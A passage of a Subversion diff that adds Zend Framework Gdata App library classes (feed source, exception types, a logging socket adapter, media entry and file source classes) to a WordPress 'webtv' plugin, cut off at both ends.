+     * Return the Etag for the current entry, or null if not set.
+     *
+     * @return string|null
+     */
+    public function getEtag() {
+        return $this->_etag;
+    }
+
+    /**
+     * Set the major protocol version that should be used. Values < 1
+     * (excluding NULL) will cause a Zend_Gdata_App_InvalidArgumentException
+     * to be thrown.
+     *
+     * @see _majorProtocolVersion
+     * @param (int|NULL) $value The major protocol version to use.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setMajorProtocolVersion($value)
+    {
+        if (!($value >= 1) && ($value !== null)) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Major protocol version must be >= 1');
+        }
+        $this->_majorProtocolVersion = $value;
+    }
+
+    /**
+     * Get the major protocol version that is in use.
+     *
+     * @see _majorProtocolVersion
+     * @return (int|NULL) The major protocol version in use.
+     */
+    public function getMajorProtocolVersion()
+    {
+        return $this->_majorProtocolVersion;
+    }
+
+    /**
+     * Set the minor protocol version that should be used. If set to NULL, no
+     * minor protocol version will be sent to the server. Values < 0 will
+     * cause a Zend_Gdata_App_InvalidArgumentException to be thrown.
+     *
+     * @see _minorProtocolVersion
+     * @param (int|NULL) $value The minor protocol version to use.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setMinorProtocolVersion($value)
+    {
+        if (!($value >= 0)) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Minor protocol version must be >= 0 or null');
+        }
+        $this->_minorProtocolVersion = $value;
+    }
+
+    /**
+     * Get the minor protocol version that is in use.
+     *
+     * @see _minorProtocolVersion
+     * @return (int|NULL) The major protocol version in use, or NULL if no
+     *         minor version is specified.
+     */
+    public function getMinorProtocolVersion()
+    {
+        return $this->_minorProtocolVersion;
+    }
+
+    /**
+     * Get the full version of a namespace prefix
+     *
+     * Looks up a prefix (atom:, etc.) in the list of registered
+     * namespaces and returns the full namespace URI if
+     * available. Returns the prefix, unmodified, if it's not
+     * registered.
+     *
+     * The current entry or feed's version will be used when performing the
+     * namespace lookup unless overridden using $majorVersion and
+     * $minorVersion. If the entry/fee has a null version, then the latest
+     * protocol version will be used by default.
+     *
+     * @param string $prefix The namespace prefix to lookup.
+     * @param integer $majorVersion The major protocol version in effect.
+     *        Defaults to null (auto-select).
+     * @param integer $minorVersion The minor protocol version in effect.
+     *        Defaults to null (auto-select).
+     * @return string
+     */
+    public function lookupNamespace($prefix,
+                                    $majorVersion = null,
+                                    $minorVersion = null)
+    {
+        // Auto-select current version
+        if ($majorVersion === null) {
+            $majorVersion = $this->getMajorProtocolVersion();
+        }
+        if ($minorVersion === null) {
+            $minorVersion = $this->getMinorProtocolVersion();
+        }
+
+        // Perform lookup
+        return parent::lookupNamespace($prefix, $majorVersion, $minorVersion);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/FeedSourceParent.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/FeedSourceParent.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/FeedSourceParent.php	(revision 44)
@@ -0,0 +1,266 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Entry
+ */
+require_once 'Zend/Gdata/App/Entry.php';
+
+/**
+ * @see Zend_Gdata_App_FeedSourceParent
+ */
+require_once 'Zend/Gdata/App/FeedEntryParent.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Generator
+ */
+require_once 'Zend/Gdata/App/Extension/Generator.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Icon
+ */
+require_once 'Zend/Gdata/App/Extension/Icon.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Logo
+ */
+require_once 'Zend/Gdata/App/Extension/Logo.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Subtitle
+ */
+require_once 'Zend/Gdata/App/Extension/Subtitle.php';
+
+/**
+ * Atom feed class
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Gdata_App_FeedSourceParent extends Zend_Gdata_App_FeedEntryParent
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_App_Entry';
+
+    /**
+     * Root XML element for Atom entries.
+     *
+     * @var string
+     */
+    protected $_rootElement = null;
+
+    protected $_generator = null;
+    protected $_icon = null;
+    protected $_logo = null;
+    protected $_subtitle = null;
+
+    /**
+     * Set the HTTP client instance
+     *
+     * Sets the HTTP client object to use for retrieving the feed.
+     *
+     * @deprecated Deprecated as of Zend Framework 1.7. Use
+     *             setService() instead.
+     * @param  Zend_Http_Client $httpClient
+     * @return Zend_Gdata_App_FeedSourceParent Provides a fluent interface
+     */
+    public function setHttpClient(Zend_Http_Client $httpClient)
+    {
+        parent::setHttpClient($httpClient);
+        foreach ($this->_entry as $entry) {
+            $entry->setHttpClient($httpClient);
+        }
+        return $this;
+    }
+    
+    /**
+     * Set the active service instance for this feed and all enclosed entries.
+     * This will be used to perform network requests, such as when calling
+     * save() and delete().
+     *
+     * @param Zend_Gdata_App $instance The new service instance.
+     * @return Zend_Gdata_App_FeedEntryParent Provides a fluent interface.
+     */
+    public function setService($instance)
+    {
+        parent::setService($instance);
+        foreach ($this->_entry as $entry) {
+            $entry->setService($instance);
+        }
+        return $this;
+    }
+    
+    /**
+     * Make accessing some individual elements of the feed easier.
+     *
+     * Special accessors 'entry' and 'entries' are provided so that if
+     * you wish to iterate over an Atom feed's entries, you can do so
+     * using foreach ($feed->entries as $entry) or foreach
+     * ($feed->entry as $entry).
+     *
+     * @param  string $var The property to access.
+     * @return mixed
+     */
+    public function __get($var)
+    {
+        switch ($var) {
+            default:
+                return parent::__get($var);
+        }
+    }
+
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_generator != null) {
+            $element->appendChild($this->_generator->getDOM($element->ownerDocument));
+        }
+        if ($this->_icon != null) {
+            $element->appendChild($this->_icon->getDOM($element->ownerDocument));
+        }
+        if ($this->_logo != null) {
+            $element->appendChild($this->_logo->getDOM($element->ownerDocument));
+        }
+        if ($this->_subtitle != null) {
+            $element->appendChild($this->_subtitle->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('atom') . ':' . 'generator':
+            $generator = new Zend_Gdata_App_Extension_Generator();
+            $generator->transferFromDOM($child);
+            $this->_generator = $generator;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'icon':
+            $icon = new Zend_Gdata_App_Extension_Icon();
+            $icon->transferFromDOM($child);
+            $this->_icon = $icon;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'logo':
+            $logo = new Zend_Gdata_App_Extension_Logo();
+            $logo->transferFromDOM($child);
+            $this->_logo = $logo;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'subtitle':
+            $subtitle = new Zend_Gdata_App_Extension_Subtitle();
+            $subtitle->transferFromDOM($child);
+            $this->_subtitle = $subtitle;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * @return Zend_Gdata_AppExtension_Generator
+     */
+    public function getGenerator()
+    {
+        return $this->_generator;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Generator $value
+     * @return Zend_Gdata_App_FeedSourceParent Provides a fluent interface
+     */
+    public function setGenerator($value)
+    {
+        $this->_generator = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_AppExtension_Icon
+     */
+    public function getIcon()
+    {
+        return $this->_icon;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Icon $value
+     * @return Zend_Gdata_App_FeedSourceParent Provides a fluent interface
+     */
+    public function setIcon($value)
+    {
+        $this->_icon = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_AppExtension_logo
+     */
+    public function getlogo()
+    {
+        return $this->_logo;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_logo $value
+     * @return Zend_Gdata_App_FeedSourceParent Provides a fluent interface
+     */
+    public function setlogo($value)
+    {
+        $this->_logo = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_AppExtension_Subtitle
+     */
+    public function getSubtitle()
+    {
+        return $this->_subtitle;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Subtitle $value
+     * @return Zend_Gdata_App_FeedSourceParent Provides a fluent interface
+     */
+    public function setSubtitle($value)
+    {
+        $this->_subtitle = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/HttpException.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/HttpException.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/HttpException.php	(revision 44)
@@ -0,0 +1,120 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App_Exception
+ */
+require_once 'Zend/Gdata/App/Exception.php';
+
+/**
+ * Zend_Http_Client_Exception
+ */
+require_once 'Zend/Http/Client/Exception.php';
+
+/**
+ * Gdata exceptions
+ *
+ * Class to represent exceptions that occur during Gdata operations.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_HttpException extends Zend_Gdata_App_Exception
+{
+
+    protected $_httpClientException = null;
+    protected $_response = null;
+
+    /**
+     * Create a new Zend_Gdata_App_HttpException
+     *
+     * @param  string $message Optionally set a message
+     * @param Zend_Http_Client_Exception Optionally pass in a Zend_Http_Client_Exception
+     * @param Zend_Http_Response Optionally pass in a Zend_Http_Response
+     */
+    public function __construct($message = null, $e = null, $response = null)
+    {
+        $this->_httpClientException = $e;
+        $this->_response = $response;
+        parent::__construct($message);
+    }
+
+    /**
+     * Get the Zend_Http_Client_Exception.
+     *
+     * @return Zend_Http_Client_Exception
+     */
+    public function getHttpClientException()
+    {
+        return $this->_httpClientException;
+    }
+
+    /**
+     * Set the Zend_Http_Client_Exception.
+     *
+     * @param Zend_Http_Client_Exception $value
+     */
+    public function setHttpClientException($value)
+    {
+        $this->_httpClientException = $value;
+        return $this;
+    }
+
+    /**
+     * Set the Zend_Http_Response.
+     *
+     * @param Zend_Http_Response $response
+     */
+    public function setResponse($response)
+    {
+        $this->_response = $response;
+        return $this;
+    }
+
+    /**
+     * Get the Zend_Http_Response.
+     *
+     * @return Zend_Http_Response
+     */
+    public function getResponse()
+    {
+        return $this->_response;
+    }
+
+    /**
+     * Get the body of the Zend_Http_Response
+     *
+     * @return string
+     */
+    public function getRawResponseBody()
+    {
+        if ($this->getResponse()) {
+            $response = $this->getResponse();
+            return $response->getRawBody();
+        }
+        return null;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/IOException.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/IOException.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/IOException.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+
+/**
+ * Zend_Gdata_App_Exception
+ */
+require_once 'Zend/Gdata/App/Exception.php';
+
+/**
+ * Gdata App IO exceptions.
+ *
+ * Class to represent IO exceptions that occur during Gdata App operations.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_IOException extends Zend_Gdata_App_Exception
+{
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/InvalidArgumentException.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/InvalidArgumentException.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/InvalidArgumentException.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App_Exception
+ */
+require_once 'Zend/Gdata/App/Exception.php';
+
+/**
+ * Gdata exceptions
+ *
+ * Class to represent exceptions that occur during Gdata operations.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_InvalidArgumentException extends Zend_Gdata_App_Exception
+{
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/LoggingHttpClientAdapterSocket.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/LoggingHttpClientAdapterSocket.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/LoggingHttpClientAdapterSocket.php	(revision 44)
@@ -0,0 +1,116 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @version    $Id: Socket.php 8064 2008-02-16 10:58:39Z thomas $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+require_once 'Zend/Http/Client/Adapter/Socket.php';
+
+/**
+ * Overrides the traditional socket-based adapter class for Zend_Http_Client to 
+ * enable logging of requests.  All requests are logged to a location specified
+ * in the config as $config['logfile'].  Requests and responses are logged after
+ * they are sent and received/processed, thus an error could prevent logging.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_LoggingHttpClientAdapterSocket extends Zend_Http_Client_Adapter_Socket
+{
+
+    /**
+     * The file handle for writing logs
+     *
+     * @var resource|null
+     */
+    protected $log_handle = null;
+
+    /**
+     * Log the given message to the log file.  The log file is configured
+     * as the config param 'logfile'.  This method opens the file for
+     * writing if necessary.
+     *
+     * @param string $message The message to log
+     */
+    protected function log($message)
+    {
+        if ($this->log_handle == null) {
+            $this->log_handle = fopen($this->config['logfile'], 'a');
+        }
+        fwrite($this->log_handle, $message);
+    }
+
+    /**
+     * Connect to the remote server
+     *
+     * @param string  $host
+     * @param int     $port
+     * @param boolean $secure
+     * @param int     $timeout
+     */
+    public function connect($host, $port = 80, $secure = false)
+    {
+        $this->log("Connecting to: ${host}:${port}");
+        return parent::connect($host, $port, $secure);
+    }
+
+    /**
+     * Send request to the remote server
+     *
+     * @param string        $method
+     * @param Zend_Uri_Http $uri
+     * @param string        $http_ver
+     * @param array         $headers
+     * @param string        $body
+     * @return string Request as string
+     */
+    public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '')
+    {
+        $request = parent::write($method, $uri, $http_ver, $headers, $body);
+        $this->log("\n\n" . $request);
+        return $request;
+    }
+
+    /**
+     * Read response from server
+     *
+     * @return string
+     */
+    public function read()
+    {
+        $response = parent::read();
+        $this->log("${response}\n\n");
+        return $response;
+    }
+
+    /**
+     * Close the connection to the server
+     *
+     */
+    public function close()
+    {
+        $this->log("Closing socket\n\n");
+        parent::close();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/MediaEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/MediaEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/MediaEntry.php	(revision 44)
@@ -0,0 +1,118 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Entry
+ */
+require_once 'Zend/Gdata/App/Entry.php';
+
+/**
+ * @see Zend_Gdata_App_MediaSource
+ */
+require_once 'Zend/Gdata/App/MediaSource.php';
+
+/**
+ * @see Zend_Gdata_MediaMimeStream
+ */
+require_once 'Zend/Gdata/MediaMimeStream.php';
+
+/**
+ * Concrete class for working with Atom entries containing multi-part data.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_MediaEntry extends Zend_Gdata_App_Entry
+{
+    /**
+     * The attached MediaSource/file
+     *
+     * @var Zend_Gdata_App_MediaSource
+     */
+    protected $_mediaSource = null;
+
+    /**
+     * Constructs a new MediaEntry, representing XML data and optional
+     * file to upload
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null, $mediaSource = null)
+    {
+        parent::__construct($element);
+        $this->_mediaSource = $mediaSource;
+    }
+
+    /**
+     * Return the MIME multipart representation of this MediaEntry.
+     *
+     * @return string|Zend_Gdata_MediaMimeStream The MIME multipart
+     *         representation of this MediaEntry. If the entry consisted only
+     *         of XML, a string is returned.
+     */
+    public function encode()
+    {
+        $xmlData = $this->saveXML();
+        $mediaSource = $this->getMediaSource();
+        if ($mediaSource === null) {
+            // No attachment, just send XML for entry
+            return $xmlData;
+        } else {
+            return new Zend_Gdata_MediaMimeStream($xmlData,
+                $mediaSource->getFilename(), $mediaSource->getContentType());
+        }
+    }
+
+    /**
+     * Return the MediaSource object representing the file attached to this
+     * MediaEntry.
+     *
+     * @return Zend_Gdata_App_MediaSource The attached MediaSource/file
+     */
+    public function getMediaSource()
+    {
+        return $this->_mediaSource;
+    }
+
+    /**
+     * Set the MediaSource object (file) for this MediaEntry
+     *
+     * @param Zend_Gdata_App_MediaSource $value The attached MediaSource/file
+     * @return Zend_Gdata_App_MediaEntry Provides a fluent interface
+     */
+    public function setMediaSource($value)
+    {
+        if ($value instanceof Zend_Gdata_App_MediaSource) {
+            $this->_mediaSource = $value;
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'You must specify the media data as a class that conforms to Zend_Gdata_App_MediaSource.');
+        }
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/MediaFileSource.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/MediaFileSource.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/MediaFileSource.php	(revision 44)
@@ -0,0 +1,145 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_MediaData
+ */
+require_once 'Zend/Gdata/App/BaseMediaSource.php';
+
+/**
+ * Concrete class to use a file handle as an attachment within a MediaEntry.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_MediaFileSource extends Zend_Gdata_App_BaseMediaSource
+{
+    /**
+     * The filename which is represented
+     *
+     * @var string 
+     */
+    protected $_filename = null;
+
+    /**
+     * The content type for the file attached (example image/png)
+     *
+     * @var string
+     */
+    protected $_contentType = null;
+    
+    /**
+     * Create a new Zend_Gdata_App_MediaFileSource object.
+     *
+     * @param string $filename The name of the file to read from.
+     */
+    public function __construct($filename)
+    {
+        $this->setFilename($filename);
+    }
+    
+    /**
+     * Return the MIME multipart representation of this MediaEntry.
+     *
+     * @return string
+     * @throws Zend_Gdata_App_IOException
+     */
+    public function encode()
+    {
+        if ($this->getFilename() !== null && 
+            is_readable($this->getFilename())) {
+
+            // Retrieves the file, using the include path
+            $fileHandle = fopen($this->getFilename(), 'r', true);
+            $result = fread($fileHandle, filesize($this->getFilename()));
+            if ($result === false) {
+                require_once 'Zend/Gdata/App/IOException.php';
+                throw new Zend_Gdata_App_IOException("Error reading file - " .
+                        $this->getFilename() . '. Read failed.');
+            }
+            fclose($fileHandle);
+            return $result;
+        } else {
+            require_once 'Zend/Gdata/App/IOException.php';
+            throw new Zend_Gdata_App_IOException("Error reading file - " . 
+                    $this->getFilename() . '. File is not readable.');
+        }
+    }
+    
+    /**
+     * Get the filename associated with this reader.
+     *
+     * @return string
+     */
+    public function getFilename()
+    {
+        return $this->_filename;
+    }
+
+    /**
+     * Set the filename which is to be read.
+     * 
+     * @param string $value The desired file handle.
+     * @return Zend_Gdata_App_MediaFileSource Provides a fluent interface.
+     */
+    public function setFilename($value)
+    {
+        $this->_filename = $value;
+        return $this;
+    }
+   
+    /** 
+     * The content type for the file attached (example image/png)
+     *
+     * @return string The content type
+     */
+    public function getContentType()
+    {
+        return $this->_contentType;
+    }
+
+    /** 
+     * Set the content type for the file attached (example image/png)
+     *
+     * @param string $value The content type
+     * @return Zend_Gdata_App_MediaFileSource Provides a fluent interface
+     */
+    public function setContentType($value)
+    {
+        $this->_contentType = $value;
+        return $this;
+    }
+    
+    /**
+     * Alias for getFilename().
+     *
+     * @return string
+     */
+    public function __toString()
+    {
+        return $this->getFilename();
+    }
+    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/MediaSource.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/MediaSource.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/MediaSource.php	(revision 44)
@@ -0,0 +1,72 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Interface for defining data that can be encoded and sent over the network.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+interface Zend_Gdata_App_MediaSource
+{
+    /**
+     * Return a byte stream representation of this object.
+     *
+     * @return string
+     */
+    public function encode();
+
+    /** 
+     * Set the content type for the file attached (example image/png)
+     *
+     * @param string $value The content type
+     * @return Zend_Gdata_App_MediaFileSource Provides a fluent interface
+     */
+    public function setContentType($value);
+
+    /** 
+     * The content type for the file attached (example image/png)
+     *
+     * @return string The content type
+     */
+    public function getContentType();
+
+    /**
+     * Sets the Slug header value.  Used by some services to determine the 
+     * title for the uploaded file.  A null value indicates no slug header.
+     *
+     * @var string The slug value
+     * @return Zend_Gdata_App_MediaSource Provides a fluent interface
+     */
+    public function setSlug($value);
+
+    /**
+     * Returns the Slug header value.  Used by some services to determine the 
+     * title for the uploaded file.  Returns null if no slug should be used.
+     *
+     * @return string The slug value
+     */
+    public function getSlug();
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Util.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Util.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Util.php	(revision 44)
@@ -0,0 +1,111 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Utility class for static functions needed by Zend_Gdata_App
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Util
+{
+
+    /**
+     *  Convert timestamp into RFC 3339 date string.
+     *  2005-04-19T15:30:00
+     *
+     * @param int $timestamp
